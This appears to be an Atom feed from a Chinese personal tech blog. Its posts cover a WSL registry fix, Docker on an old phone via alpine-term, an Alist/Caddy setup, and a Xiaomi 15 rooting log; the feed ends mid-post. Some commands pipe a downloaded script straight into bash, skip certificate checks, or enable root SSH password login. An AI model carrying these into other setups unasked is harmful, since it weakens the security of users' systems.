<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>君玉自牧</title>
  
  <subtitle>君当润如玉 · 卑以自牧也</subtitle>
  <link href="https://yuwei.cc/atom.xml" rel="self"/>
  
  <link href="https://yuwei.cc/"/>
  <updated>2025-02-08T04:00:00.000Z</updated>
  <id>https://yuwei.cc/</id>
  
  <author>
    <name>君玉自牧</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>从 Microsoft Store 升级 WSL 后无法使用</title>
    <link href="https://yuwei.cc/posts/e1a778c6.html"/>
    <id>https://yuwei.cc/posts/e1a778c6.html</id>
    <published>2025-02-06T13:00:00.000Z</published>
    <updated>2025-02-08T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>从 Microsoft Store 升级 WSL 后无法正常使用，提示正在完成升级，然后报错：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">WSL 正在完成升级...</span><br><span class="line">Could not write value  to key \SOFTWARE\Classes\Directory\shell\WSL.   Verify that you have sufficient access to that key, or contact your support personnel.</span><br><span class="line">wsl: WSL 安装似乎已损坏 (错误代码： Wsl/CallMsi/Install/ERROR_INSTALL_FAILURE)。</span><br></pre></td></tr></table></figure><br><img src="https://f.pz.al/pzal/2025/02/08/d6a6cc090bd33.png" alt=""></p><h2 id="解决方法"><a href="#解决方法" class="headerlink" title="解决方法"></a>解决方法</h2><p>根据报错提示，是注册表的权限问题，巨硬家 Github 也登记了这个 <a href="https://github.com/microsoft/WSL/issues/11697">issues</a>；依次找到如下 6 个注册表项并分别将它们的 <code>SYSTEM</code> 权限设置为<strong>完全控制</strong>：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\WSL</span><br><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\WSL\<span class="built_in">command</span></span><br><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Background\shell\WSL</span><br><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\Background\shell\WSL\<span class="built_in">command</span></span><br><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\WSL</span><br><span class="line">计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\WSL\<span class="built_in">command</span></span><br></pre></td></tr></table></figure><br><img src="https://f.pz.al/pzal/2025/02/08/a1433791af26a.png" alt=""></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;h2 id=&quot;问题描述&quot;&gt;&lt;a href=&quot;#问题描述&quot; class=&quot;head</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="Windows" scheme="https://yuwei.cc/tags/Windows/"/>
    
    <category term="WSL" scheme="https://yuwei.cc/tags/WSL/"/>
    
  </entry>
  
  <entry>
    <title>小米 10 安装 Linux 运行 Docker</title>
    <link href="https://yuwei.cc/posts/f1f378ca.html"/>
    <id>https://yuwei.cc/posts/f1f378ca.html</id>
    <published>2025-01-23T13:00:00.000Z</published>
    <updated>2025-01-24T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote><p>多年前的小米 10 换成小米 15 了，一直闲置，准备安装 Linux 玩玩…</p></blockquote><div class="tag link"><a class="link-card" title="小米 10 刷入 Magisk & Xposed" href="https://yuwei.cc/posts/mi-10.html"><div class="left"><img src="/img/favicon.jpg"/></div><div class="right"><p class="text">小米 10 刷入 Magisk & Xposed</p><p class="url">https://yuwei.cc/posts/mi-10.html</p></div></a></div><p>开始准备直接使用 Armbian 刷入 Linux，但是官方仅支持 <a href="https://www.armbian.com/xiaomi-mi-10-pro/">小米 10 Pro</a>；而 Termux 无法直接使用 Docker，机缘巧合发现 <a href="https://github.com/FakeRajbhx/alpine-term">alpine-term</a> 通过 QEMU 模拟在一个无头的 x86_64 机器上运行 Alpine Linux 并安装 Docker，简化了在 Termux 中手动更新 QEMU 模拟 Alpine 系统、安装 Docker 的过程。</p><h2 id="系统要求"><a href="#系统要求" class="headerlink" title="系统要求"></a>系统要求</h2><ul><li>基于 AArch64 的设备</li><li>Android 7.0 或更高版本</li><li>至少 500 MB 的内部存储空间</li><li>网络连接（如果你想安装或更新软件包）</li></ul><p>PS. 项目自 v16（基于 Alpine v3.13.0） 以后不再更新，网友反应在 Android 14、15 报错；同作者还有一个 <a href="https://github.com/FakeRajbhx/android-vshell">android-vshell</a> 项目，相较于 alpine-term 更加轻量。</p><h2 id="安装配置"><a href="#安装配置" class="headerlink" title="安装配置"></a>安装配置</h2><p>点击<a href="https://github.com/FakeRajbhx/alpine-term/releases/tag/New">下载</a>最新版（v16）的 apk 文件上传到手机进行安装，等待环境配置完成安装，会提示登录；初始用户密码：alpine/alpine<br><img src="https://f.pz.al/pzal/2025/01/24/d0a70fede99eb.jpg" alt=""></p><h3 id="SSH-登录"><a href="#SSH-登录" class="headerlink" title="SSH 登录"></a>SSH 登录</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##启用 SSH 密码认证</span></span><br><span class="line">sed -i <span class="string">&#x27;s/PasswordAuthentication no/PasswordAuthentication yes/g&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="comment">##启用 root 远程登录</span></span><br><span class="line">sed -i <span class="string">&#x27;s/PermitRootLogin no/PermitRootLogin yes/g&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="comment">##重启 SSH 服务</span></span><br><span class="line">service sshd restart</span><br></pre></td></tr></table></figure><h3 id="映射端口"><a href="#映射端口" class="headerlink" title="映射端口"></a>映射端口</h3><p>应用界面左上方向右滑调出菜单，选中<strong>选择[1] QEMU</strong>窗口，如下图所示：<br><img src="https://f.pz.al/pzal/2025/01/24/48a44056ec8bc.jpg" alt=""><br>属于<code>hostfwd_add tcp::2222-:22</code>命令映射 SSH 的 22 端口到手机的 2222 端口，然后就可以在电脑上使用 xShell 之类的工具连接手机的 2222 端口进行操作了。（每次启动都需要设置）</p><h3 id="其他设置"><a href="#其他设置" class="headerlink" title="其他设置"></a>其他设置</h3><p>设置时区为 Asia/Shanghai<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">setup-timezone</span><br></pre></td></tr></table></figure><br>更换 APK 源为阿里云：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">&#x27;s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g&#x27;</span> /etc/apk/repositories</span><br></pre></td></tr></table></figure><br>更换 DNS 为阿里云和 DNSPOD<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">&#x27;s/nameserver 185.120.22.15/nameserver 223.5.5.5/g&#x27;</span> /etc/resolv.conf</span><br><span class="line">sed -i <span class="string">&#x27;s/nameserver 94.16.114.254/nameserver 119.29.29.29/g&#x27;</span> /etc/resolv.conf</span><br></pre></td></tr></table></figure><br>更新软件包<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apk update apk upgrade</span><br></pre></td></tr></table></figure></p><h2 id="Docker"><a href="#Docker" class="headerlink" title="Docker"></a>Docker</h2><p>apline-trem 项目默认安装了 Docker 环境<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##设置 Docker 开机自启</span></span><br><span class="line">rc-update add docker以设</span><br><span class="line"><span class="comment">##启动 Docker</span></span><br><span class="line">service docker start</span><br><span class="line"><span class="comment">##查看 Docker 版本</span></span><br><span class="line">docker version</span><br></pre></td></tr></table></figure></p><p>PS.跟 SSH一样，需要远程访问 Docker 需要在 QEMU 窗口中输入<code>hostfwd_add tcp::手机端口-:容器映射端口</code>进行端口映射</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;blockquote&gt;
&lt;p&gt;多年前的小米 10 换成小米 15 了，一直闲置，</summary>
      
    
    
    
    <category term="器物与我" scheme="https://yuwei.cc/categories/%E5%99%A8%E7%89%A9%E4%B8%8E%E6%88%91/"/>
    
    
    <category term="Linux" scheme="https://yuwei.cc/tags/Linux/"/>
    
    <category term="Android" scheme="https://yuwei.cc/tags/Android/"/>
    
    <category term="alpine-term" scheme="https://yuwei.cc/tags/alpine-term/"/>
    
  </entry>
  
  <entry>
    <title>使用 Alist 代替远古的 Oneindex 服务</title>
    <link href="https://yuwei.cc/posts/alist.html"/>
    <id>https://yuwei.cc/posts/alist.html</id>
    <published>2024-12-10T11:10:34.000Z</published>
    <updated>2024-12-10T11:10:34.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote><p>几年前使用 Oneindex 搭建的个人网盘也因为从阿里云迁出，而无法继续使用；顺便使用 Alist &amp; Caddy 代替远古的 Oneindex 服务。</p></blockquote><div class="tag link"><a class="link-card" title="使用 Oneindex 搭建个人网盘" href="https://yuwei.cc/posts/oneindex.html"><div class="left"><img src="/img/favicon.jpg"/></div><div class="right"><p class="text">使用 Oneindex 搭建个人网盘</p><p class="url">https://yuwei.cc/posts/oneindex.html</p></div></a></div><h2 id="Alist"><a href="#Alist" class="headerlink" title="Alist"></a>Alist</h2><h3 id="在线安装"><a href="#在线安装" class="headerlink" title="在线安装"></a>在线安装</h3><p><a href="https://alist.nn.ci/zh/">AList</a> 是一个支持多种存储，支持网页浏览和 WebDAV 的文件列表程序，由 gin 和 Solidjs 驱动；它设计为易于安装和使用，适用于所有平台并支持多种存储提供商，包括本地存储、阿里云盘、OneDrive、Google Drive等，并且可以扩展支持更多的存储服务‌。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##安装</span></span><br><span class="line">curl -fsSL <span class="string">&quot;https://alist.nn.ci/v3.sh&quot;</span> | bash -s install</span><br><span class="line"><span class="comment">##更新</span></span><br><span class="line">curl -fsSL <span class="string">&quot;https://alist.nn.ci/v3.sh&quot;</span> | bash -s update</span><br><span class="line"><span class="comment">##卸载</span></span><br><span class="line">curl -fsSL <span class="string">&quot;https://alist.nn.ci/v3.sh&quot;</span> | bash -s uninstall</span><br><span class="line"></span><br><span class="line">Alist 安装成功！</span><br><span class="line">访问地址：http://YOUR_IP:5244/</span><br><span class="line">配置文件路径：/opt/alist/data/config.json</span><br></pre></td></tr></table></figure></p><h3 id="获取密码"><a href="#获取密码" class="headerlink" title="获取密码"></a>获取密码</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##先 cd 到 alist 所在目录</span></span><br><span class="line"><span class="built_in">cd</span> /opt/alist</span><br><span class="line"><span class="comment">##随机设置新密码</span></span><br><span class="line">./alist admin random</span><br><span class="line"><span class="comment">##手动设置新密码</span></span><br><span class="line">./alist admin <span class="built_in">set</span> NEW_PASSWORD</span><br></pre></td></tr></table></figure><h3 id="服务启停"><a href="#服务启停" class="headerlink" title="服务启停"></a>服务启停</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">查看状态：systemctl status alist</span><br><span class="line">启动服务：systemctl start alist</span><br><span class="line">重启服务：systemctl restart alist</span><br><span class="line">停止服务：systemctl stop alist</span><br></pre></td></tr></table></figure><h3 id="挂载网盘"><a href="#挂载网盘" class="headerlink" title="挂载网盘"></a>挂载网盘</h3><p>详见《官方文档 - <a href="https://alist.nn.ci/zh/guide/drivers/common.html">添加存储</a>》</p><h2 id="Caddy"><a href="#Caddy" class="headerlink" title="Caddy"></a>Caddy</h2><p><a href="https://github.com/caddyserver/caddy">Caddy</a> 是一个支持 HTTP/2 的跨平台 Web 服务器，使用和配置都非常简单（如：<strong>自动申请证书</strong>），另外还支持 IPv6、Markdown、WebSockets、FastCGI、模板等…</p><h3 id="二进制安装"><a href="#二进制安装" class="headerlink" title="二进制安装"></a>二进制安装</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wget -c https://caddyserver.com/api/download --no-check-certificate -O caddy</span><br><span class="line"><span class="built_in">chmod</span> a+x caddy</span><br><span class="line"><span class="built_in">mv</span> caddy /usr/bin/</span><br></pre></td></tr></table></figure><h3 id="配置服务"><a href="#配置服务" class="headerlink" title="配置服务"></a>配置服务</h3><p><code>vi /etc/systemd/system/caddy.service</code><br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=Caddy</span><br><span class="line">Documentation=https://caddyserver.com/docs/</span><br><span class="line">After=network.target network-online.target</span><br><span class="line">Requires=network-online.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">Type=notify</span><br><span class="line">User=caddy</span><br><span class="line">Group=caddy</span><br><span class="line">ExecStart=/usr/bin/caddy run --environ --config /etc/caddy/Caddyfile</span><br><span class="line">ExecReload=/usr/bin/caddy reload --config /etc/caddy/Caddyfile --force</span><br><span class="line">TimeoutStopSec=5s</span><br><span class="line">LimitNOFILE=1048576</span><br><span class="line">PrivateTmp=<span class="literal">true</span></span><br><span class="line">ProtectSystem=full</span><br><span class="line">AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><br>配置完成以后需要重新加载服务，并设置开机启动<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl daemon-reload</span><br><span class="line">systemctl <span class="built_in">enable</span> caddy</span><br></pre></td></tr></table></figure></p><h3 id="服务启停-1"><a href="#服务启停-1" class="headerlink" title="服务启停"></a>服务启停</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">查看状态：systemctl status caddy</span><br><span class="line">启动服务：systemctl start caddy</span><br><span class="line">重载服务：systemctl reload caddy</span><br><span class="line">停止服务：systemctl stop caddy</span><br></pre></td></tr></table></figure><h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/caddy/Caddyfile</span><br><span class="line">:80 &#123;</span><br><span class="line">  reverse_proxy 127.0.0.1:5244</span><br><span class="line">&#125;</span><br><span class="line">example.com &#123;</span><br><span class="line">  reverse_proxy 127.0.0.1:5244</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">##配置带域名的静态页面</span></span><br><span class="line">example.com &#123;</span><br><span class="line">    root * /usr/share/caddy</span><br><span class="line">    encode gzip</span><br><span class="line">    file_server</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">##配置带域名的反向代理</span></span><br><span class="line">list.vioe.cc &#123;</span><br><span class="line">    reverse_proxy 127.0.0.1:5244</span><br><span class="line">tls work@yuwei.cc</span><br><span class="line">    <span class="built_in">log</span> &#123;</span><br><span class="line">        output file /var/log/caddy/alist.log</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">##配置带域名的重定向</span></span><br><span class="line">example.com &#123;</span><br><span class="line">    redir https://baidu.com&#123;uri&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>每次修改完配置，需要需要使用 <code>systemctl reload caddy</code> 命令重新加载</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;blockquote&gt;
&lt;p&gt;几年前使用 Oneindex 搭建的个人网盘也因为</summary>
      
    
    
    
    <category term="休闲娱乐" scheme="https://yuwei.cc/categories/%E4%BC%91%E9%97%B2%E5%A8%B1%E4%B9%90/"/>
    
    
    <category term="Alist" scheme="https://yuwei.cc/tags/Alist/"/>
    
    <category term="Oneindex" scheme="https://yuwei.cc/tags/Oneindex/"/>
    
  </entry>
  
  <entry>
    <title>小米 15 刷入 Magisk/KernelSU &amp; LSPosed</title>
    <link href="https://yuwei.cc/posts/mi-15.html"/>
    <id>https://yuwei.cc/posts/mi-15.html</id>
    <published>2024-11-01T02:00:00.000Z</published>
    <updated>2025-10-19T04:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><div class="timeline blue"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>更新记录</p></div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.10.19</p></div></div><div class='timeline-item-content'><p>下载 <a href="https://bkt-sgp-miui-ota-update-alisgp.oss-ap-southeast-1.aliyuncs.com/OS3.0.2.0.WOCCNXM/dada-ota_full-OS3.0.2.0.WOCCNXM-user-16.0-eedf69a07b.zip">3.0.2.0</a> 固件并手动选择安装包进行更新。<br>JingMatri LSPosed 框架不兼容安卓 16，换成 <a href="https://github.com/re-zero001/LSPosed-Irena">Irena</a> v1.9.2-7291。<br>不确定什么原因，涨乐财务通提示设备不安全无法使用，将 Magisk 更换为 KernelSU（LKM-12129，方法通面具修补），解决。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.09.13</p></div></div><div class='timeline-item-content'><p>下载 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.215.0.VOCCNXM/#china-recovery">2.0.215.0</a> 固件并手动选择安装包进行更新。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.07.29</p></div></div><div class='timeline-item-content'><p>下载 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.214.0.VOCCNXM/#china-recovery">2.0.214.0</a> 固件并手动选择安装包进行更新，测试 <a href="https://sourceforge.net/projects/recovery-for-xiaomi-devices/files/dada/">TWRP</a>。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.07.10</p></div></div><div class='timeline-item-content'><p>下载 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.206.0.VOCCNXM/#china-recovery">2.0.206.0</a> 固件并手动选择安装包进行更新，面具同步更新到 <a href="https://github.com/topjohnwu/Magisk/releases">30001</a>。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.06.01</p></div></div><div class='timeline-item-content'><p>下载 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.205.0.VOCCNXM/#china-recovery">2.0.205.0</a> 固件并手动选择安装包进行更新，面具同步更新到 <a href="https://github.com/topjohnwu/Magisk/releases">29001</a>。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.02.21</p></div></div><div class='timeline-item-content'><p>固件更新到 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.1050.VOCCNXM/#china-recovery">2.0.105.0</a>，面具更新到 <a href="https://github.com/topjohnwu/Magisk/releases">28102</a>。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.01.15</p></div></div><div class='timeline-item-content'><p>存储空间隔离：配置老是出问题，才后知后觉的发现作者跑路了：在明知域名到期（2025.05.08）以后无法验证授权的情况下，没有提供解决办法直接跑路了。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.01.06</p></div></div><div class='timeline-item-content'><p>TWRP 出现了，但是无法解密 Data，顺便更新 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.101.0.VOCCNXM/#china-recovery">2.0.101.0</a>，修补的方式安装面具失效，更新 <a href="https://github.com/topjohnwu/magisk-files/blob/master/canary.json">Canary</a> 版本重新修补成功。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.01.04</p></div></div><div class='timeline-item-content'><p>出场膜被刮了一块起来，影响手感，小米之家换了张免费的会员膜，虽然是软膜，用起来还不错。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2025.01.02</p></div></div><div class='timeline-item-content'><p>世界之大，处处有傻逼，HyperCeiler 也被弄得存档了…</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.12.30</p></div></div><div class='timeline-item-content'><p>系统从 25、26、28 直接跳到 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.101.0.VOCCNXM/#china-recovery">2.0.101.0</a>，版本已经更新超级小爱，还在内测，据说也就那样，懒得偷渡了…</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.12.10</p></div></div><div class='timeline-item-content'><p>Magisk 更新到 28.1，顺手把系统更新到 2.0.25.0。</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.11.27</p></div></div><div class='timeline-item-content'><p><a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.25.0.VOCCNXM/#china-recovery">2.0.25.0</a> 新增：星辰无网通功能，实现无网语音畅聊，超级小爱依旧缺席，继续飞一会……</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.11.13</p></div></div><div class='timeline-item-content'><p>本来打算手动更新到 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.20.0.VOCCNXM/#china-recovery">2.0.20.0</a>，没想到紧接着就有了 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.22.0.VOCCNXM/#china-recovery">2.0.22.0</a>、<a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.23.0.VOCCNXM/#china-recovery">2.0.23.0</a>，准备让子弹飞一会……</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.11.07</p></div></div><div class='timeline-item-content'><p>15 解锁后体验几天后，相比与小米 10 的木讷，丝滑到<strong>一大坨</strong>的摄像头也可以忽略不计了；要不是小米 10 是解锁的，都要怀疑被云控了；果然，<mark>由俭入奢易</mark>，<mark>由奢入俭难</mark>啊！</p></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>2024.11.04</p></div></div><div class='timeline-item-content'><p>用惯了小米 10 的❗，后面凸起的那么<strong>大一坨</strong>，果然一时半会适应不了；多次想七天无理由退货了，然后手上的小米 10 扫码变慢，又打消了念头；手动将系统更新到 <a href="https://xiaomirom.com/download/xiaomi-15-dada-stable-OS2.0.16.0.VOCCNXM/#china-recovery">2.0.16.0</a> 版本，解锁并安装模块和插件…</p></div></div></div><hr><p>2024 年 10 月 29 日 19 点，雷布斯在线发布了小米 15 系列，无奈京东先人一步没有抢到，机子 2024.11.01 才到手；到手后开机，先卸载<strong>预装应用</strong>和用不到的系统应用，升级最新系统（2.0.12.0），打开<strong>开发者模式</strong>，绑定设备，等待 3 天后解锁。<br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_01.jpg" alt=""></p><h2 id="解锁设备"><a href="#解锁设备" class="headerlink" title="解锁设备"></a>解锁设备</h2><p>2024 年的解锁权限，一年 3 台设备，目前还一个没用；下载并解压<a href="https://www.miui.com/unlock/download.html">解锁软件</a>，如果无法链接设备需要先运行解锁工具中的 <code>MiUsbDriver.exe</code> <strong>安装驱动</strong>，并在手机开发者模式下<strong>打开 USB 调试功能</strong>；然后关闭手机，再同时按 <kbd>电源键</kbd> &amp;  <kbd>音量 -</kbd>进入 bootloader 模式（或者使用以下命令在开机的情况看下进入），按提示进行操作等待完成即可。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##进入 bootloader 模式（开机状态下）</span></span><br><span class="line">adb reboot bootloader</span><br></pre></td></tr></table></figure><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_02.jpg" alt=""><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_03jpg" alt=""><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_04.jpg" alt=""><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_05.jpg" alt=""><br><img src="https://pic.yuwei.cc/gallery/202411/xiaomi_06.jpg" alt=""><br>PS.如果设备登录了 Google 账户，解锁前一定要先删除，否则解锁后会无法立马使用设备；需要<u>跳过网络、密码设置，进入系统后连接能够科学上网的 WiFi 或设置代理登录跟之前一样的 Google 账户才能继续使用</u>；注意：<mark>所有非系统自带的抹机（恢复出厂设置）操作均会出现此类情况</mark>，原因如下：</p><blockquote><p>Google FRP 提供了内置的安全功能，可以使用它来保护设备和信息，包括屏幕锁和数据加密；在设备上注册了 Google 帐户后，<strong>Google FRP 会被自动激活</strong>，它会阻止不受信任的环境恢复出厂设置后使用设备；也就是说：如果设备通过自带的抹机以外的任何方式进行了出厂重置（例如解锁），则会启用 FRP 锁定设备进入自我保护状态，<mark>直到再次登录 Google 账户进行所有权验证</mark>。<br>而众所周知，<strong>我大天朝自有国情在此</strong>；因此，最好的做法就是：<mark>在解锁之前从设备中删除 Google 帐户来禁用 Google FRP 功能</mark>。</p></blockquote><h2 id="Magisk"><a href="#Magisk" class="headerlink" title="Magisk"></a>Magisk</h2><h3 id="修补-BOOT"><a href="#修补-BOOT" class="headerlink" title="修补 BOOT"></a>修补 BOOT</h3><p>由于小米 15 刚刚首发，TWRP 之类的第三方 REC 文件还没有编译出来，因此使用面具的修补功能获取新的启动镜像来达到效果：下载并安装<a href="https://github.com/topjohnwu/Magisk">面具</a>，下载并解压当前系统版本的<a href="https://xiaomirom.com/rom/xiaomi-15-dada-china-fastboot-recovery-rom/#下载-小米-15-稳定版-recovery-卡刷包">线刷包</a>，使用 <code>Payload_Dumper</code> 解压<strong>卡刷包</strong>的 payload.bin 文件：</p><ol><li>将卡刷包解压得到的 payload.bin 文件拷贝到 <strong>payload_input</strong> 文件夹</li><li>双击运行 <code>payload_dumper.exe</code> 程序等待解压完成（也可以在确定解压出 <code>init_boot.img</code> 文件即可手动关闭）</li><li>解压后得到的所有 bin 文件都在 <strong>payload_output</strong> 文件夹</li></ol><p>找到 <code>init_boot.img</code> 将其拷贝到手机上用面具的修补功能生成新的文件，重命名为 <code>patched_boot.img</code> 再拷贝回电脑；<br>然后关闭手机，同时按住<kbd>电源</kbd> &amp; <kbd>音量 -</kbd>按键，进入 bootloader 模式，将修补后的文件刷入设备，等待重启完成即可。<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">##进入 fastboot 